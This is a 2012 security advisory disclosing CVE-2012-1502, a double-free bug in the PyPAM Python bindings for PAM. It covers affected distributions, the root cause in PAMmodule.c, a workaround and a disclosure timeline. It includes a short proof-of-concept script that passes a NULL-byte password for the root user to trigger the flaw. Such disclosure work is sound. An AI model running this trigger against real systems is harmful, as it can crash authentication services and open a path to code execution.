=== LSE Leading Security Experts - Security Advisory 2012-03-01 === PyPAM -- Python bindings for PAM - Double Free Corruption - - --------------------------------------------------------- Affected Versions ================= PyPAM <= 0.4.2 Red Hat PyPAM <= 0.5.0-12 Debian python-pam <= 0.4.2-12.2 Ubuntu python-pam <= 0.4.2-12.2 SUSE python-pam <= 0.5.0-79.1.2 Gentoo pypam <= 0.5.0 Problem Overview ================ Technical Risk: high Likelihood of Exploit: low to medium Vendor: Rob Riggs, Various Discovery: Markus Vervier Advisory URL: http://www.lsexperts.de/advisories/lse-2012-03-01.txt Advisory Status: Public CVE-Number: CVE-2012-1502 Problem Description =================== While conducting an internal test LSE discovered that by supplying a password containing a NULL-byte to the PyPAM module, a double-free [1] condition is triggered. This leads to undefined behaviour and may allow remote code execution. Temporary Workaround and Fix ============================ Filtering NULL-bytes in strings before passing them to the PyPAM module will mitigate the exploit. Also current GLIBC protections may prevent the double-free condition from being exploitable. It is advised to update to a fixed version of PyPAM. Detailed Description ==================== When PyArg_ParseTuple() in line 81 of PAMmodule.c is given a string with Null-Bytes, a TypeError exception is raised [2]. The security problem is in line 82 of PAMmodule.c where free() is called on *resp, but *resp is not set to NULL. On line 95 in libpam's v_prompt.c the _pam_drop macro calls free on the response again unless (*resp == NULL), which leads to undefined behaviour. The following PoC script triggers the problem: <--snip--> #!/usr/bin/env python ## ## python-pam 0.4.2 double free PoC ## ## 2012 Leading Security Experts GmbH ## Markus Vervier ## # -*- coding: utf-8 -*- def verify_password(user, password): import PAM def pam_conv(auth, query_list, userData): resp = [] resp.append( (password, 0)) return resp res = -3 service = 'passwd' auth = PAM.pam() auth.start(service) auth.set_item(PAM.PAM_USER, user) auth.set_item(PAM.PAM_CONV, pam_conv) try: auth.authenticate() auth.acct_mgmt() except PAM.error, resp: print 'Go away! (%s)' % resp res = -1 except: print 'Internal error' res = -2 else: print 'Good to go!' res = 0 return res print verify_password("root", "a\x00secret") <--snip--> History ======= 2012-03-02 Problem discovery during internal QA 2012-03-05 Original vendor and Debian maintainer contacted 2012-03-06 Public Patch released 2012-03-07 Various maintainers contacted 2012-03-07 CVE-2012-1502 assigned 2012-03-08 LSE learned in that this bug was previously discovered and fixed in rPath Linux [3] 2012-03-08 Coordinated Advisory Release References ========== [1] http://cwe.mitre.org/data/definitions/415.html [2] http://docs.python.org/release/1.5.2p2/ext/parseTuple.html [3] https://issues.rpath.com/browse/RPL-2773